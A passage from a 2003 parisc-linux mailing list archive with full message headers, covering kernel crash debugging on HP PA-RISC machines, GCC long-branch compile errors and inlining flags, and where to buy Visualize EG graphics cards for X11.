	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18697

Hi,

> >Do you already try to rebuild and re-try a kernel without this support?
> >
> this was also my thought, so recompiled kernel without md-support. I 
> just rebooted the machine with the new kernel.... Same problem at 
> another place:

Sorry.

My best idea now is try a TOC (I presume that such a special swicth exist
on 715 model) (may be first cleanup PIMinfo with "ser clearpim" at bootprompt
before booting the kernel). Then during the 'bad loop' puch the TOC button
and at the bootprompt again collect (with minicom for instance) piminfo ("ser
pim") and try to submit it to analyse to 'dump_analyser.sh' (you can grabbe
it with a.c into cvs build-tools dir).
And report its result to this ml.

Hope this will help,
    Joel

PS: Edit dump_analyser.sh to change DUMPTYPE to TOC (default is kernel).
btw, I am impatient that hp release its p4 tools :-)


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 12:40:09 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20030619114009.GA24357@parcelfarce.linux.theplanet.co.uk>
References: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca> <3EF1353C.8030705@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622524 26832 80.91.229.3 (22 Nov 2014 02:15:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <r.scholz@bluehash.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 05:40:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C44E482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 05:40:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Sxlx-0004aR-Rg; Thu, 19 Jun 2003 12:40:09 +0100
Content-Disposition: inline
In-Reply-To: <3EF1353C.8030705@bluehash.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18698

On Thu, Jun 19, 2003 at 05:59:56AM +0200, Rdiger Scholz wrote:
> John David Anglin schrieb:
> 
> >Until issues related to the canonicalization of function pointers
> >and the alignment of stack locals are resolved, it is best to stick
> >with debian gcc-3.0.4 for kernel building.
> >
> So I installed gcc-3.04 from Debian, did "make distclean", "make 
> oldconfig" (selecting "PA7100LC") and booted...
> And got the same loop again ;)
> 
> ---------- SNIP---------------
> 
>     md: linear personality registered as nr 1
>    Badness in local_bh_enable at at kernel/softirq.c:109
>    Kernel addresses on the stack:
> 
>     [tirq.c:109
>    <4>Kernel addresses on the stack:
>    <4> [<10124edcc8>]  [<1010ea4c>]
>    <4> [<1012503c>]  [<1028ac08>]  [<10124cc>]
>    <4> [<1029a2a4>]  [<103ad4d4>]  [<10100284>]  [<10109c5ab8>] 
>    [<101289a8>]  [<1028ac20>]
>     [<1028b428>]  [<101070f28ac08>]  [<10124f10>]  [<1028adcc>]
>     [<1029a2a4>]  [<103adc>]
>    <4> [<1029a2a4>]  [<103ad4d4>]  [<10100284>]  [<10109c>] 
>    [<103ad4d4>]  [<10100284>]  [<10109c5c>]

So... what's going on here is that someone's enabling softirqs with hard
interrupts disabled.  This is not a smart thing to do.  Unfortunately,
something is messing up the stack backtrace, so it's hard tosee what's
going on.  Could you turn on CONFIG_KALLSYMS so the kernel prints out
its symbols?  The messages may still be corrupt, but we should have more
information to help us figure out what's going on.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: 19 Jun 2003 08:02:56 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1056027778.2014.1.camel@mulgrave>
References: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca>
	<3EF1353C.8030705@bluehash.de> 
	<20030619114009.GA24357@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622524 26833 80.91.229.3 (22 Nov 2014 02:15:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:24 +0000 (UTC)
Cc: =?ISO-8859-1?Q?R=FCdiger?= Scholz <r.scholz@bluehash.de>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 07:03:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id B19AA482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 07:03:01 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h5JD2vI14147;
	Thu, 19 Jun 2003 09:02:57 -0400
In-Reply-To: <20030619114009.GA24357@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18699

On Thu, 2003-06-19 at 06:40, Matthew Wilcox wrote:
> So... what's going on here is that someone's enabling softirqs with hard
> interrupts disabled.  This is not a smart thing to do.  Unfortunately,
> something is messing up the stack backtrace, so it's hard tosee what's
> going on.  Could you turn on CONFIG_KALLSYMS so the kernel prints out
> its symbols?  The messages may still be corrupt, but we should have more
> information to help us figure out what's going on.

This was a known problem in the HIL keyboard/mouse drivers around
2.5.70.  I think Helge already submitted a fix for this, could you try a
later version of the parisc kernel?

Thanks,

James




From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Thu, 19 Jun 2003 15:27:33 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <3ED70CF1000079C3@ocpmta2.freegates.net>
References: <200306181712.h5IHCa4Z016566@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622524 26839 80.91.229.3 (22 Nov 2014 02:15:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 07:27:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 962C0482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 07:27:37 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19SzRK-0001yE-00; Thu, 19 Jun 2003 15:26:58 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 19 Jun 2003 15:27:33 +0200
In-Reply-To: <200306181712.h5IHCa4Z016566@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18700

Hi Dave,
>
>> It is well a stub table pb?

> No, this is a gcc pb.  Please proceed with a PR.  I can see the
> problem.  There isn't support for long floating-point branches
> in the machine definition :(
>

I am on going to prepare (btw would that I make you or p-l ml list in CC
of the PR?)

> I would suggest that the code being generated for this fuction
> isn't going to be very good.  Whenever at function
> exceeds 240KB in size, then GCC needs to generate long branches
> for function calls and some internal branches.  These sequences
> are much longer and less efficient.  You can tweak the parameter
> of the GCC's inlining model and probably reduce the size of
> the generated code.  The parameters are settable from the
> command line and are documented in the manual, etc.

hmm I found well severall cmd line parameter concerning inline stuff and
I was first tempted to test
-finline-limit=225000 (doesn't help)
-finline-limit=120000 (doesn't help more)
too bad :-(

and no more help with -fno-implicit-templates and/or -fno-implicit-inline-templates.

The only help is -fno-default-inline (i suppose that -fno-inline also) but
seems to me a bit like -O1.

Thanks again,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Thu, 19 Jun 2003 10:02:17 -0700
Lines: 367
Approved: news@gmane.org
Message-ID: <3EF1EC99.DAF593AE@cypress-tech.com>
References: <20030618235358.54006.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------D8D0F6EECBDB793092F134AA"
X-Trace: ger.gmane.org 1416622525 26844 80.91.229.3 (22 Nov 2014 02:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:25 +0000 (UTC)
Cc: zlatan.jukic@fh-vorarlberg.ac.at,
	parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 08:08:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3445B482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 08:08:17 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.134]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Thu, 19 Jun 2003 10:00:08 -0400
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 19 Jun 2003 14:00:08.0546 (UTC) FILETIME=[17D0B420:01C3366B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18701

--------------D8D0F6EECBDB793092F134AA
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Derek, thanks for the plug. We do have the A4977A and A4450A graphics
cards for $125.00 each, the converter is $25.00.

Thanks
Jesse
Cypress Technology Inc
727-557-0911

Derek Engelhaupt wrote:

> You will need one of the following cards:  A4977A (PCI), A4450A (GSC),
> or A4451A (GSC dual head).  Part numbers are listed below.  You will
> also need an EVC to 15-pin converter for all of these cards and that
> part number is listed below also.  All of this info came from
> partsurfer.hp.com (no "www" in front of it).  There is a PCI EG card
> for sale on Ebay:
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3031053367&category=11221
> Looks like Cypress Tech ( sales@cypress-tech.com) have some of the
> A4450A GSC cards, but I've never had any dealings with them.  Their
> prices on Ebay seem high though.   Good luck.
>

  A4450-66501  636.00
                      VISUALIZE-EG graphic accelerator board - For 2D
                      and 3D wireframe graphics - Includes color
                      recovery (P/O A4450A)
>

  A4451-66501  1644.00
                       Dual VISUALIZE-EG graphic accelerator board -
                       For 2D and 3D wireframe graphics - Includes
                       color recovery (A4451A)
>

  1253-0635  28.00
                   Enhanced Video Connector (EVC) video adapter cable -
                   EVC(M) to 15-pin(F) - 7.87in (0.2m) long - Used to
                   connect EVC video output to 15-pin monitor
>

  A4977-66501
               VIZUALIZE-EG/PCI
>
> Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at> wrote:
>
>      Hello Derek and all,
>
>      Thank you for your assistance.  Thank you Grant, too!
>
>      You already tested this card (Vis EG HSC) on your
>      HP-Visualize C360 machine. The X-Windows system should be
>      started in this case.
>
>      Can you say me please, where can I find/order and buy this
>      card?
>
>      Thank you very much,
>
>      Kind regards, Zlatan
>
>      -----Original Message-----
>      From: Derek Engelhaupt
>      [mailto:derekengelhaupt@rocketmail.com]
>      Sent: Mittwoch, 18. Juni 2003 18:00
>      To: Grant Grundler; Jukic Zlatan
>      Cc: parisc-linux@lists.parisc-linux.org
>      Subject: Re: [parisc-linux] Re: Visualize EG card on HP
>      PARISC C360
>
>      Yes, there is an HSC EG card.  Used it in my C360 before I
>      sold it.  The PCI version of the card has more memory on it
>      though.
>      derek
>      Grant Grundler <grundler@parisc-linux.org> wrote:
>
>           On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan
>           Jukic wrote:
>
>
>           > I could not start unfortunately the X-Windows
>           system, because it is not
>           > supported by Fx-4 video card.?!
>
>           correct
>
>           > My question is here: Must I insert another card
>           (and which??), in order to
>           > start X-Windows-system?
>
>           > According to Debian HPPA, the Visualize EG
>           should correct to function.
>
>           yes. *PCI* version of the card.
>           Vis-EG HSC card might also work.
>
>           > This card is a 24-bit-video-card, which is
>           recognized in the best way under
>           > Linux as "Coral" with HP 715-64,
>
>           Is that really a Vis-EG HSC card?
>           Can you post "dmesg" output where STI describes
>           the card?
>
>           grant
>           _______________________________________________
>           parisc-linux mailing list
>           parisc-linux@lists.parisc-linux.org
>           http://lists.parisc-linux.org/mailm
>           n/listinfo/parisc-linux
>
>      -------------------------------------------------------------
>      Do you Yahoo!?
>
>
>      SBC Yahoo! DSL - Now only $29.95 per month!
>
> -----------------------------------------------------------------------
> Do you Yahoo!?
> SBC Yahoo! DSL - Now only $29.95 per month!

--------------D8D0F6EECBDB793092F134AA
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi Derek, thanks for the plug. We do have the A4977A and A4450A graphics
cards for $125.00 each, the converter is $25.00.
<p>Thanks
<br>Jesse
<br>Cypress Technology Inc
<br>727-557-0911
<p>Derek Engelhaupt wrote:
<blockquote TYPE=CITE>You will need one of the following cards:&nbsp; A4977A
(PCI), A4450A (GSC), or A4451A (GSC dual head).&nbsp; Part numbers are
listed below.&nbsp; You will also need an EVC to 15-pin converter for all
of these cards and that part number is listed below also.&nbsp; All of
this info came from partsurfer.hp.com (no "www" in front of it).&nbsp;
There is a PCI EG card for sale on Ebay: <a href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3031053367&category=11221">http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3031053367&amp;category=11221</a>
Looks like Cypress Tech (<b> <a href="mailto:sales@cypress-tech.com">sales@cypress-tech.com</a></b>)
have some of the A4450A GSC cards, but I've never had any dealings with
them.&nbsp; Their prices on Ebay seem high though.&nbsp;&nbsp; Good luck.
<table BORDER CELLSPACING=0 CELLPADDING=4 VALIGN="top" >
<caption><TBODY>
<br></TBODY></caption>

<tr VALIGN=TOP BGCOLOR="#CCCCCC">
<td><nobr>A4450-66501</nobr></td>

<td ALIGN=RIGHT><nobr>636.00</nobr></td>

<td>
<table BORDER=0 CELLSPACING=0 CELLPADDING=0 >
<caption><TBODY>
<br></TBODY></caption>

<tr>
<td>VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe graphics
- Includes color recovery (P/O A4450A)&nbsp;</td>
</tr>
</table>
</td>
</tr>
</table>

<table BORDER CELLSPACING=0 CELLPADDING=4 VALIGN="top" >
<caption><TBODY>
<br></TBODY></caption>

<tr VALIGN=TOP BGCOLOR="#CCCCCC">
<td><nobr>A4451-66501</nobr></td>

<td ALIGN=RIGHT><nobr>1644.00</nobr></td>

<td>
<table BORDER=0 CELLSPACING=0 CELLPADDING=0 >
<caption><TBODY>
<br></TBODY></caption>

<tr>
<td>Dual VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe
graphics - Includes color recovery (A4451A)&nbsp;</td>
</tr>
</table>
</td>
</tr>
</table>

<table BORDER CELLSPACING=0 CELLPADDING=4 VALIGN="top" >
<caption><TBODY>
<br></TBODY></caption>

<tr VALIGN=TOP BGCOLOR="#E6E6E6">
<td><nobr>1253-0635</nobr></td>

<td ALIGN=RIGHT><nobr>28.00</nobr></td>

<td>
<table BORDER=0 CELLSPACING=0 CELLPADDING=0 >
<caption><TBODY>
<br></TBODY></caption>

<tr>
<td>Enhanced Video Connector (EVC) video adapter cable - EVC(M) to 15-pin(F)
- 7.87in (0.2m) long - Used to connect EVC video output to 15-pin monitor&nbsp;</td>
</tr>
</table>
</td>
</tr>
</table>

<table BORDER CELLSPACING=0 CELLPADDING=4 VALIGN="top" >
<caption><TBODY>
<br></TBODY></caption>

<tr VALIGN=TOP BGCOLOR="#CCCCCC">
<td><nobr>A4977-66501</nobr></td>

<td>
<table BORDER=0 CELLSPACING=0 CELLPADDING=0 >
<caption><TBODY>
<br></TBODY></caption>

<tr>
<td>VIZUALIZE-EG/PCI&nbsp;</td>
</tr>
</table>
</td>
</tr>
</table>
<!--END OF OUTPUT FROM showpartlist-->
<br><b><i>Zlatan Jukic &lt;zlatan.jukic@fh-vorarlberg.ac.at></i></b> wrote:
<blockquote style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid"><style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;}
p
	{margin-right:0cm;
	margin-left:0cm;
	font-size:12.0pt;
	font-family:"Times New Roman";}
span.EmailStyle18
	{font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

<div class=Section1>
<div class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"><font face="Arial"><font color="#000080"><font size=-1>Hello
Derek and all,</font></font></font></span></div>

<div class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></span></div>


<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"><font face="Arial"><font color="#000080"><font size=-1>Thank
you for your assistance.&nbsp; Thank you Grant, too!</font></font></font></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"><font face="Arial"><font color="#000080"><font size=-1>You
already tested this card (Vis EG HSC) on your HP-Visualize C360 machine.
The X-Windows system should be started in this case.&nbsp;</font></font></font></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"><font face="Arial"><font color="#000080"><font size=-1>Can
you say me please, where can I find/order and buy this card?</font></font></font></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"><font face="Arial"><font color="#000080"><font size=-1>Thank
you very much,</font></font></font></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"><font face="Arial"><font color="#000080"><font size=-1>Kind
regards, Zlatan</font></font></font></span>

<p class="MsoNormal"><span style="FONT-SIZE: 10pt; COLOR: navy; FONT-FAMILY: Arial"></span>

<p class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 10pt; FONT-FAMILY: Tahoma"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><span style="FONT-WEIGHT: bold"><font face="Tahoma"><font size=-1><b>From:</span></b>
Derek Engelhaupt [<A HREF="mailto:derekengelhaupt@rocketmail.com">mailto:derekengelhaupt@rocketmail.com</A>]</font></font>
<br><span style="FONT-WEIGHT: bold"><font face="Tahoma"><font size=-1><b>Sent:</span></b>
Mittwoch, 18. Juni 2003 18:00</font></font>
<br><span style="FONT-WEIGHT: bold"><font face="Tahoma"><font size=-1><b>To:</span></b>
Grant Grundler; Jukic Zlatan</font></font>
<br><span style="FONT-WEIGHT: bold"><font face="Tahoma"><font size=-1><b>Cc:</span></b>
parisc-linux@lists.parisc-linux.org</font></font>
<br><span style="FONT-WEIGHT: bold"><font face="Tahoma"><font size=-1><b>Subject:</span></b>
Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360</font></font></span>

<p class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 12pt"></span>
<div class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 12pt"><font face="Times New Roman"><font size=+0>Yes,
there is an HSC EG card.&nbsp; Used it in my C360 before I sold it.&nbsp;
The PCI version of the card has more memory on it though.</font></font></span></div>

<div class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 12pt"></span></div>

<div class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 12pt"><font face="Times New Roman"><font size=+0>derek</font></font></div>
<span style="FONT-WEIGHT: bold; FONT-STYLE: italic"><font face="Times New Roman"><font size=+0><b><i>Grant
Grundler &lt;grundler@parisc-linux.org></span></i></b> wrote:</font></font></span>
<blockquote style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; MARGIN-TOP: 5pt; PADDING-LEFT: 4pt; MARGIN-BOTTOM: 5pt; PADDING-BOTTOM: 0cm; MARGIN-LEFT: 3.75pt; BORDER-LEFT: #1010ff 1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none">
<div class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 12pt"><font face="Times New Roman"><font size=+0>On&nbsp;</span></font></font>Tue,
Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:</div>

<p><br>> I could not start unfortunately the X-Windows system, because
it is not
<br>> supported by Fx-4 video card.?!
<p>correct
<p>> My question is here: Must I insert another card (and which??), in
order to
<br>> start X-Windows-system?
<p>> According to Debian HPPA, the Visualize EG should correct to function.
<p>yes. *PCI* version of the card.
<br>Vis-EG HSC card might also work.
<p>> This card is a 24-bit-video-card, which is recognized in the best
way under
<br>> Linux as "Coral" with HP 715-64,
<p>Is that really a Vis-EG HSC card?
<br>Can you post "dmesg" output where STI describes the card?
<p>grant
<br>_______________________________________________
<br>parisc-linux mailing list
<br>parisc-linux@lists.parisc-linux.org
<br><A HREF="http://lists.parisc-linux.org/mailman/listinfo/parisc-linux">http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</A></blockquote>

<div class="MsoNormal" style="MARGIN-LEFT: 36pt; TEXT-ALIGN: center">
<center><span style="FONT-SIZE: 12pt">
<hr align=center width="100%" SIZE=1></span></center>
</div>

<div class="MsoNormal" style="MARGIN-LEFT: 36pt"><span style="FONT-SIZE: 12pt"><font face="Times New Roman"><font size=+0>Do
you Yahoo!?</font></font></div>

<p><br><font face="Times New Roman"><font size=+0><a href="http://pa.yahoo.com/*http:/rd.yahoo.com/evt=1207/*http:/promo.yahoo.com/sbc/">SBC
Yahoo! DSL</a> - Now only $29.95 per month!</font></font></span></div>
</blockquote>

<hr SIZE=1>Do you Yahoo!?
<br><a href="http://pa.yahoo.com/*http://rd.yahoo.com/evt=1207/*http://promo.yahoo.com/sbc/">SBC
Yahoo! DSL</a> - Now only $29.95 per month!</blockquote>
</html>

--------------D8D0F6EECBDB793092F134AA--



From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Thu, 19 Jun 2003 11:40:32 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200306191540.h5JFeWGN021982@hiauly1.hia.nrc.ca>
References: <3ED70CF1000079C3@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622525 26847 80.91.229.3 (22 Nov 2014 02:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 09:40:35 2003
